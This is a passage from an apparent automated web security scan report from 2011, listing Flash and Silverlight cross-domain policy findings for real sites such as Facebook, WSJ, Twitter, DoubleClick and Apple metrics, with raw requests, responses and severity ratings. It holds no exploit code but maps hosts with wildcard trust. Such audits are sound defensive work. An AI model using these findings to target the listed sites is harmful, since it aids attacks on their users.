    <allow-access-from domain="professional.s.dev.wsj.com"/>
    <allow-access-from domain="*.dartmotif.com"/>
    <allow-access-from domain="wsjradio.com"/>
    <allow-access-from domain="*.wsjradio.com"/>
    <allow-access-from domain="www.wsjradio.com"/>
    <allow-access-from domain="*.eyereturn.com"/>
<allow-access-from domain="fxtrader.l.dev.dowjones.com"/>
    <allow-access-from domain="fxtrader.f.dev.dowjones.com"/>
    <allow-access-from domain="fxtrader.s.dev.dowjones.com"/>
    <allow-access-from domain="fxtrader.dowjones.com"/>
    <allow-access-from domain="dowjones.visualla.com"/>
<allow-access-from domain="*.smartmoney.com"/>
...[SNIP]...

5.48. http://server.iad.liveperson.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: server.iad.liveperson.net

Response

HTTP/1.1 200 OK
Content-Length: 526
Content-Type: text/xml
Content-Location: http://server.iad.liveperson.net/crossdomain.xml
Last-Modified: Thu, 23 Oct 2008 22:13:48 GMT
Accept-Ranges: bytes
ETag: "076249f5c35c91:2725"
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 12:52:02 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"
...[SNIP]...
<allow-access-from domain="*.neogames-tech.com" secure="false" />
...[SNIP]...
<allow-access-from domain="secure.neogames-tech.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="secure.qa.neogames-tech.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="secure.st.neogames-tech.com" secure="false"/>
...[SNIP]...

5.49. http://static.ak.fbcdn.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: static.ak.fbcdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
X-FB-Server: 10.138.64.186
Date: Sat, 14 May 2011 10:09:20 GMT
Content-Length: 1473
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
   <allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="s-static.ak.facebook.com" />
   <allow-access-from domain="www.facebook.com" />
   <allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
...[SNIP]...
<allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
...[SNIP]...

5.50. http://topics.barrons.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://topics.barrons.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: topics.barrons.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:29:52 GMT
Server: Apache
X-DEBUG-BOX-IDENT: secj2kiwebp04
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /crossdomain.xml
X-DEBUG-NAMESPACE: inert-secaucus-barrons
Last-Modified: Thu, 28 May 2009 20:24:08 GMT
Accept-Ranges: bytes
Content-Length: 1836
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=50
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
       <allow-access-from domain="*.doubleclick.net" />
       <allow-access-from domain="m.doubleclick.net" />
           <allow-access-from domain="*.dowjonesonline.com" />
           <allow-access-from domain="www.dowjonesonline.com" />
           <allow-access-from domain="a.marketwatch.com" />
           <allow-access-from domain="*.marketwatch.com" />
           <allow-access-from domain="www.akamai.com" />
           <allow-access-from domain="*.akamai.com" />
           <allow-access-from domain="www.wsj.com" />
           <allow-access-from domain="*.wsj.com" />
           <allow-access-from domain="*.online.wsj.com" />
           <allow-access-from domain="online.wsj.com" />
           <allow-access-from domain="public.wsj.com" />
           <allow-access-from domain="*.public.wsj.com" />
        <allow-access-from domain="www.barrons.com" />
           <allow-access-from domain="*.barrons.com" />
           <allow-access-from domain="*.online.barrons.com" />
           <allow-access-from domain="online.barrons.com" />
           <allow-access-from domain="public.barrons.com" />
           <allow-access-from domain="*.public.barrons.com" />
           <allow-access-from domain="*.aol.com" />
       <allow-access-from domain="*.brightcove.com" />
           <allow-access-from domain="creatives.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m2.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="*.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="wsjdigital.com" />
    <allow-access-from domain="s.wsj.net" />
    <allow-access-from domain="barrons.wsj.net" />
<allow-access-from domain="*.dowjones.net" />
<allow-access-from domain="aes.online.edit.dowjones.net" />
...[SNIP]...

5.51. http://topics.wsj.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://topics.wsj.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: topics.wsj.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:27 GMT
Server: Apache
Last-Modified: Thu, 12 May 2011 23:03:36 GMT
Accept-Ranges: bytes
Content-Length: 3556
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=10
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
    <allow-access-from domain="*.doubleclick.net"/>
<allow-access-from domain="*.doubleclick.com"/>
    <allow-access-from domain="m.doubleclick.net"/>
    <allow-access-from domain="*.dowjonesonline.com"/>
    <allow-access-from domain="www.dowjonesonline.com"/>
    <allow-access-from domain="a.marketwatch.com"/>
    <allow-access-from domain="*.marketwatch.com"/>
    <allow-access-from domain="www.akamai.com"/>
    <allow-access-from domain="*.akamai.com"/>
    <allow-access-from domain="www.wsj.com"/>
    <allow-access-from domain="*.wsj.com"/>
    <allow-access-from domain="s.dev.wsj.com"/>
    <allow-access-from domain="idev.online.wsj.com"/>
    <allow-access-from domain="s.wsjsat.dowjones.net"/>
    <allow-access-from domain="s.s.dev.wsj.com"/>
<allow-access-from domain="reno.wsjqa.dowjones.net"/>
    <allow-access-from domain="*.online.wsj.com"/>
    <allow-access-from domain="online.wsj.com"/>
    <allow-access-from domain="quotes.wsj.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="public.wsj.com"/>
    <allow-access-from domain="*.public.wsj.com"/>
<allow-access-from domain="www.barrons.com"/>
    <allow-access-from domain="*.barrons.com"/>
...[SNIP]...
<allow-access-from domain="idev.online.barrons.com"/>
    <allow-access-from domain="*.online.barrons.com"/>
    <allow-access-from domain="online.barrons.com"/>
    <allow-access-from domain="public.barrons.com"/>
    <allow-access-from domain="*.public.barrons.com"/>
    <allow-access-from domain="*.aol.com"/>
    <allow-access-from domain="*.brightcove.com"/>
    <allow-access-from domain="creatives.doubleclick.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="m.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="m2.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="wsjdigital.com"/>
...[SNIP]...
<allow-access-from domain="*.cooliris.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.piclens.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.dowjones.net" secure="false"/>
...[SNIP]...
<allow-access-from domain="online.s.dev.wsj.com"/>
    <allow-access-from domain="quotes.s.dev.wsj.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="polls.s.dev.wsj.com"/>
<allow-access-from domain="blogs.s.dev.wsj.com"/>
<allow-access-from domain="triplewebdesign.com"/>
<allow-access-from domain="ingyournumber.com"/>
   <allow-access-from domain="*.ingyournumber.com"/>
<allow-access-from domain="*.issuu.com"/>
   <allow-access-from domain="static.issuu.com"/>
    <allow-access-from domain="professional.s.dev.wsj.com"/>
    <allow-access-from domain="*.dartmotif.com"/>
    <allow-access-from domain="wsjradio.com"/>
    <allow-access-from domain="*.wsjradio.com"/>
    <allow-access-from domain="www.wsjradio.com"/>
    <allow-access-from domain="*.eyereturn.com"/>
<allow-access-from domain="fxtrader.l.dev.dowjones.com"/>
    <allow-access-from domain="fxtrader.f.dev.dowjones.com"/>
    <allow-access-from domain="fxtrader.s.dev.dowjones.com"/>
    <allow-access-from domain="fxtrader.dowjones.com"/>
    <allow-access-from domain="dowjones.visualla.com"/>
<allow-access-from domain="*.smartmoney.com"/>
...[SNIP]...

5.52. http://www.facebook.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.facebook.com

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
X-FB-Server: 10.53.89.79
Connection: close
Content-Length: 1473

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
   <allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="s-static.ak.facebook.com" />
...[SNIP]...
<allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
   <allow-access-from domain="static.ak.fbcdn.net" />
   <allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
...[SNIP]...

5.53. http://www.marketwatch.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.marketwatch.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Thu, 04 Nov 2010 12:22:38 GMT
Accept-Ranges: bytes
ETag: "07be2f71a7ccb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-MACHINE: secdedtwebp04
Date: Sat, 14 May 2011 10:12:54 GMT
Connection: keep-alive
Content-Length: 1625

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master
...[SNIP]...
<allow-access-from domain="*.marketwatch.com" />
<allow-access-from domain="*.mktw.net" />
<allow-access-from domain="creatives.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="motifcdn.doubleclick.net"/>
<allow-access-from domain="m.doubleclick.net"/>
<allow-access-from domain="m2.doubleclick.net"/>
<allow-access-from domain="m3.doubleclick.net"/>
<allow-access-from domain="m.2mdn.net"/>
<allow-access-from domain="m2.2mdn.net"/>
<allow-access-from domain="betadfa.doubleclick.net"/>
<allow-access-from domain="dfa.doubleclick.net"/>
<allow-access-from domain="motifcdn2.doubleclick.net"/>
<allow-access-from domain="ad.doubleclick.net"/>
<allow-access-from domain="m1.2mdn.net"/>
<allow-access-from domain="*.doubleclick.net"/>
<allow-access-from domain="*.2mdn.net"/>
<allow-access-from domain="*.wsj.com"/>
<allow-access-from domain="*.allthingsd.com"/>
<allow-access-from domain="*.barrons.com"/>
<allow-access-from domain="*.wsj.net"/>
<allow-access-from domain="*.dowjones.net"/>
<allow-access-from domain="*.llnwd.net"/>
<allow-access-from domain="*.wsj.com"/>
<allow-access-from domain="*.wsjradio.com"/>
<allow-access-from domain="*.barrons.com"/>
<allow-access-from domain="aes.online.edit.dowjones.net"/>
<allow-access-from domain="api.bizographics.com"/>
...[SNIP]...

5.54. http://www.mcafeesecure.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.mcafeesecure.com

Response

HTTP/1.0 200 OK
Server: McAfeeSecure
Cache-Control: private
ETag: "EKdW2Rg2Poz"
Last-Modified: Wed, 03 Sep 2008 18:43:59 GMT
Accept-Ranges: bytes
Content-Type: text/xml; charset=utf-8
Content-Length: 116
Date: Sat, 14 May 2011 12:52:11 GMT
Set-Cookie: resin=1724539402.20480.0000; path=/

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.scanalert.com"/>
</cross-domain-policy>

5.55. https://www.mcafeesecure.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.mcafeesecure.com

Response

HTTP/1.0 200 OK
Server: McAfeeSecure
Cache-Control: private
ETag: "EKdW2Rg2Poz"
Last-Modified: Wed, 03 Sep 2008 18:43:59 GMT
Accept-Ranges: bytes
Content-Type: text/xml; charset=utf-8
Content-Length: 116
Date: Sat, 14 May 2011 12:52:41 GMT
Set-Cookie: resin=1724539402.20480.0000; path=/

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.scanalert.com"/>
</cross-domain-policy>

5.56. http://www.smartmoney.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.smartmoney.com

Response

HTTP/1.1 200 OK
Content-Length: 3556
Content-Type: text/xml
Content-Location: http://www.smartmoney.com/crossdomain.xml
Last-Modified: Fri, 13 May 2011 20:57:39 GMT
Accept-Ranges: bytes
ETag: "e274ff64b011cc1:e0f"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:13:05 GMT
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
    <allow-access-from domain="*.doubleclick.net"/>
<allow-access-from domain="*.doubleclick.com"/>
    <allow-access-from domain="m.doubleclick.net"/>
    <allow-access-from domain="*.dowjonesonline.com"/>
    <allow-access-from domain="www.dowjonesonline.com"/>
    <allow-access-from domain="a.marketwatch.com"/>
    <allow-access-from domain="*.marketwatch.com"/>
    <allow-access-from domain="www.akamai.com"/>
    <allow-access-from domain="*.akamai.com"/>
    <allow-access-from domain="www.wsj.com"/>
    <allow-access-from domain="*.wsj.com"/>
    <allow-access-from domain="s.dev.wsj.com"/>
    <allow-access-from domain="idev.online.wsj.com"/>
    <allow-access-from domain="s.wsjsat.dowjones.net"/>
    <allow-access-from domain="s.s.dev.wsj.com"/>
<allow-access-from domain="reno.wsjqa.dowjones.net"/>
    <allow-access-from domain="*.online.wsj.com"/>
    <allow-access-from domain="online.wsj.com"/>
    <allow-access-from domain="quotes.wsj.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="public.wsj.com"/>
    <allow-access-from domain="*.public.wsj.com"/>
<allow-access-from domain="www.barrons.com"/>
    <allow-access-from domain="*.barrons.com"/>
<allow-access-from domain="barrons.wsj.net"/>
    <allow-access-from domain="idev.online.barrons.com"/>
    <allow-access-from domain="*.online.barrons.com"/>
    <allow-access-from domain="online.barrons.com"/>
    <allow-access-from domain="public.barrons.com"/>
    <allow-access-from domain="*.public.barrons.com"/>
    <allow-access-from domain="*.aol.com"/>
    <allow-access-from domain="*.brightcove.com"/>
    <allow-access-from domain="creatives.doubleclick.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="m.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="m2.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="wsjdigital.com"/>
    <allow-access-from domain="s.wsj.net"/>
    <allow-access-from domain="*.cooliris.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.piclens.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.dowjones.net" secure="false"/>
...[SNIP]...
<allow-access-from domain="online.s.dev.wsj.com"/>
    <allow-access-from domain="quotes.s.dev.wsj.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="polls.s.dev.wsj.com"/>
<allow-access-from domain="blogs.s.dev.wsj.com"/>
<allow-access-from domain="triplewebdesign.com"/>
<allow-access-from domain="ingyournumber.com"/>
   <allow-access-from domain="*.ingyournumber.com"/>
<allow-access-from domain="*.issuu.com"/>
   <allow-access-from domain="static.issuu.com"/>
    <allow-access-from domain="professional.s.dev.wsj.com"/>
    <allow-access-from domain="*.dartmotif.com"/>
    <allow-access-from domain="wsjradio.com"/>
    <allow-access-from domain="*.wsjradio.com"/>
    <allow-access-from domain="www.wsjradio.com"/>
    <allow-access-from domain="*.eyereturn.com"/>
<allow-access-from domain="fxtrader.l.dev.dowjones.com"/>
    <allow-access-from domain="fxtrader.f.dev.dowjones.com"/>
    <allow-access-from domain="fxtrader.s.dev.dowjones.com"/>
    <allow-access-from domain="fxtrader.dowjones.com"/>
    <allow-access-from domain="dowjones.visualla.com"/>
<allow-access-from domain="*.smartmoney.com"/>
...[SNIP]...

5.57. http://api.twitter.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.twitter.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from specific subdomains.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: api.twitter.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:58:18 GMT
Server: hi
Status: 200 OK
Last-Modified: Wed, 04 May 2011 17:32:26 GMT
Content-Type: application/xml
Content-Length: 561
Set-Cookie: k=173.193.214.243.1305370698743774; path=/; expires=Sat, 21-May-11 10:58:18 GMT; domain=.twitter.com
Cache-Control: max-age=1800
Expires: Sat, 14 May 2011 11:28:18 GMT
Vary: Accept-Encoding
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="twitter.com" />
...[SNIP]...
<allow-access-from domain="search.twitter.com" />
<allow-access-from domain="static.twitter.com" />
...[SNIP]...

5.58. http://bit.ly/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bit.ly
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from specific other domains.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: bit.ly

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:26:01 GMT
Content-Type: text/xml
Content-Length: 278
Last-Modified: Sat, 19 Feb 2011 15:14:22 GMT
Connection: close
Expires: Mon, 16 May 2011 10:26:01 GMT
Cache-Control: max-age=172800
Accept-Ranges: bytes

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="bit.ly" />
<allow-access-from domain="bitly.net" />
<allow-access-from domain="j.mp" />
<allow-access-from domain="bitly.com" />
...[SNIP]...

5.59. http://stats.wordpress.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://stats.wordpress.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from specific other domains, and allows access from specific subdomains.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: stats.wordpress.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:14:46 GMT
Content-Type: text/xml
Connection: close
Content-Length: 585
Last-Modified: Tue, 22 Mar 2011 13:52:45 GMT
Accept-Ranges: bytes

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy><site-control permitted-cross-domain-policies="master-only" /><allow-access-from domain="v.wordpress.com" to-ports="80,443" /><allow-access-from domain="v0.wordpress.com" to-ports="80,443" secure="false" /><allow-access-from domain="videopress.com" to-ports="80,443" secure="false" /><allow-access-from domain="s0.videopress.com" to-ports="80,443" secure="false" /><allow-access-from domain="realeyes.com" to-ports="80,443" />
...[SNIP]...

5.60. http://twitter.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://twitter.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: twitter.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:57:25 GMT
Server: Apache
Set-Cookie: k=173.193.214.243.1305370645880577; path=/; expires=Sat, 21-May-11 10:57:25 GMT; domain=.twitter.com
Last-Modified: Wed, 04 May 2011 17:32:26 GMT
Accept-Ranges: bytes
Content-Length: 561
Cache-Control: max-age=1800
Expires: Sat, 14 May 2011 11:27:25 GMT
Vary: Accept-Encoding
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<al
...[SNIP]...
<allow-access-from domain="api.twitter.com" />
<allow-access-from domain="search.twitter.com" />
<allow-access-from domain="static.twitter.com" />
...[SNIP]...

6. Silverlight cross-domain policy previous next
There are 8 instances of this issue:

http://ad.doubleclick.net/clientaccesspolicy.xml
http://b.scorecardresearch.com/clientaccesspolicy.xml
http://cdn.eyewonder.com/clientaccesspolicy.xml
http://metrics.apple.com/clientaccesspolicy.xml
http://om.dowjoneson.com/clientaccesspolicy.xml
http://secure-us.imrworldwide.com/clientaccesspolicy.xml
http://static.2mdn.net/clientaccesspolicy.xml
http://stats.wordpress.com/clientaccesspolicy.xml

Issue background

The Silverlight cross-domain policy controls whether Silverlight client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Silverlight cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

6.1. http://ad.doubleclick.net/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/clientaccesspolicy.xml

Issue detail

The application publishes a Silverlight cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: ad.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 314
Last-Modified: Wed, 21 May 2008 19:54:04 GMT
Date: Sat, 14 May 2011 10:09:14 GMT

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

6.2. http://b.scorecardresearch.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: b.scorecardresearch.com

Response

HTTP/1.0 200 OK
Last-Modified: Thu, 15 Oct 2009 22:41:14 GMT
Content-Type: application/xml
Expires: Sun, 15 May 2011 10:09:22 GMT
Date: Sat, 14 May 2011 10:09:22 GMT
Content-Length: 320
Connection: close
Cache-Control: private, no-transform, max-age=86400
Server: CS

<?xml version="1.0" encoding="utf-8" ?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*" />
</allow-from>
<grant-to>
<resou
...[SNIP]...

6.3. http://cdn.eyewonder.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.eyewonder.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: cdn.eyewonder.com

Response

HTTP/1.0 200 OK
Cache-Control: max-age=18000
Content-Type: text/xml
Accept-Ranges: bytes
ETag: "a683d7574fd1ca1:13a0"
Server: Microsoft-IIS/6.0
p3p: policyref="/100125/w3c/p3p.xml", CP="NOI DSP LAW NID PSA OUR IND NAV STA COM"
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:17 GMT
Last-Modified: Thu, 01 Apr 2010 03:56:43 GMT
Expires: Sat, 14 May 2011 11:25:16 GMT
Content-Length: 268
Connection: close

<?xml version="1.0" encoding="utf-8"?><access-policy><cross-domain-access><policy><allow-from http-request-headers="*"><domain uri="http://*"/></allow-from><grant-to><resource path="/" include-subpath
...[SNIP]...

6.4. http://metrics.apple.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://metrics.apple.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: metrics.apple.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:59:34 GMT
Server: Omniture DC/2.0.0
xserver: www500
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

6.5. http://om.dowjoneson.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://om.dowjoneson.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: om.dowjoneson.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:19 GMT
Server: Omniture DC/2.0.0
xserver: www87
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

6.6. http://secure-us.imrworldwide.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://secure-us.imrworldwide.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: secure-us.imrworldwide.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:12 GMT
Server: Apache
Cache-Control: max-age=604800
Expires: Sat, 21 May 2011 10:09:12 GMT
Last-Modified: Mon, 19 Oct 2009 01:46:36 GMT
ETag: "ff-4adbc4fc"
Accept-Ranges: bytes
Content-Length: 255
Connection: close
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8" ?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*" />
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true" />
</grant
...[SNIP]...

